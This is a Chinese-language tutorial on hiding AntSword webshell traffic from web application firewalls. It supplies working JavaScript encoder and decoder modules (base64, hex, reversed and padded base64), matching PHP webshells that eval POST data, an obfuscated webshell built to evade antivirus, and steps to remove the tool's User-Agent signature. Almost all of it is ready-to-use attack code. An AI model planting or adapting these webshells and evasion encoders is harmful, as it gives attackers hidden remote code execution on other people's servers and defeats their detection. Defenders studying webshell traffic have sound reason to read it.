流量特征去除——请求
webshell流量特征去除主要靠对传入特征进行编码与加密,蚁剑自带编码器功能,需要用js编写,可以参考github中给出的几种编码器
https://github.com/AntSwordProject/AwesomeEncoder
由于某些waf会对流量中base64等数据进行解码后判断,所以最好使用混合方式规避检测。
base64
编码器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
'use strict';
module.exports = (pwd, data) => { let randomID = `_0x${Math.random().toString(16).substr(2)}`; data[randomID] = new Buffer(data['_']).toString('base64'); data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64'); delete data['_']; return data; }
|
木马
普通
1
| <?php eval(base64_decode($_POST['a']));?>
|
文件免杀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php function UnWA(){ $_1='_'.chr(43^123).chr(81^30).chr(15^92).chr(82^6); return $_1; }
function FExc($user) { $_x=null; eval("\n".$user.$_x); } $_2=${UnWA()}[a]; $_2_1 = base64_decode($_2); $_3=null; $_4=$_3.$_2_1; FExc($_4); ?>
|
hex
编码器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
'use strict';
module.exports = (pwd, data) => { let ret = {}; for (let _ in data) { if (_ === '_') { continue }; ret[_] = Buffer.from(data[_]).toString('hex'); } ret[pwd] = Buffer.from(data['_']).toString('hex'); return ret; }
|
木马
1 2 3 4
| <?php foreach($_POST as $k => $v){$_POST[$k]=pack("H*", $v);} @eval($_POST['ant']); ?>
|
混合方式-base64逆序
自行修改时只需要对data[‘_’]的数据做处理,通过 str = str.split(‘’).reverse().join(“”); 在b64编码之后做逆序处理
编码器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
'use strict';
module.exports = (pwd, data) => { let randomID = `_0x${Math.random().toString(16).substr(2)}`; data[randomID] = new Buffer(data['_']).toString('base64'); data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64'); data[pwd] = data[pwd].split('').reverse().join(""); delete data['_']; return data; }
|
木马
在b64解码之前使用strrev()做逆序处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php function UnWA(){ $_1='_'.chr(43^123).chr(81^30).chr(15^92).chr(82^6); return $_1; }
function FExc($user) { $_x=null; @eval($user.$_x); } $_2=${UnWA()}[a]; $_2_1 = base64_decode(strrev($_2)); $_3=null; $_4=$_3.$_2_1; FExc($_4); ?>
|
混合方式-base64前后叠加字符串干扰
在base64编码之后,在base64字符串前后加入字母数字,干扰waf解码
编码器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
'use strict';
module.exports = (pwd, data) => { let randomID = `_0x${Math.random().toString(16).substr(2)}`; data[randomID] = new Buffer(data['_']).toString('base64'); data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64'); data[pwd] ='a1b2c3' + data[pwd] + 'a1b2c3'; delete data['_']; return data; }
|
木马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php function UnWA(){ $_1='_'.chr(43^123).chr(81^30).chr(15^92).chr(82^6); return $_1; }
function FExc($user) { $_x=null; @eval($user.$_x); } $_2=${UnWA()}[a]; $_2 = str_replace('a1b2c3','',$_2); $_2_1 = base64_decode($_2); $_3=null; $_4=$_3.$_2_1; FExc($_4); ?>
|
流量特征去除——返回
某些waf会对返回包的流量进行探测,如果我们仅对请求包的流量特征做了处理,仍然会被其检测,所以也有必要对返回包流量进行处理
b64
蚁剑自带b64解码器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
|
'use strict';
module.exports = {
asoutput: () => { return `function asenc($out){ return @base64_encode($out); } `.replace(/\n\s+/g, ''); },
decode_buff: (data, ext={}) => { return Buffer.from(data.toString(), 'base64'); } }
|
不使用解码器
使用解码器
混合方式-base64逆序
主要修改asoutput部分和decode_buff部分,为其增加逆序功能,其中asoutput部分使用php语法,decode_buff部分使用js语法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
|
'use strict';
module.exports = {
asoutput: () => { return `function asenc($out){ return @strrev(base64_encode($out)); } `.replace(/\n\s+/g, ''); },
decode_buff: (data, ext={}) => { return Buffer.from(data.toString().split('').reverse().join(""), 'base64'); } }
|
返回包查看
返回包中数据逆序解码查看
蚁剑可连接成功
UA特征去除
antsword默认请求包携带有有明显的User-Agent: antSword/v2.1 特征,可通过以下两种方式去除
通过设置请求信息替换ua
通过替换本地js文件替换ua
可修改antsword源码中的modules/request.js与modules/update.js中的ua配置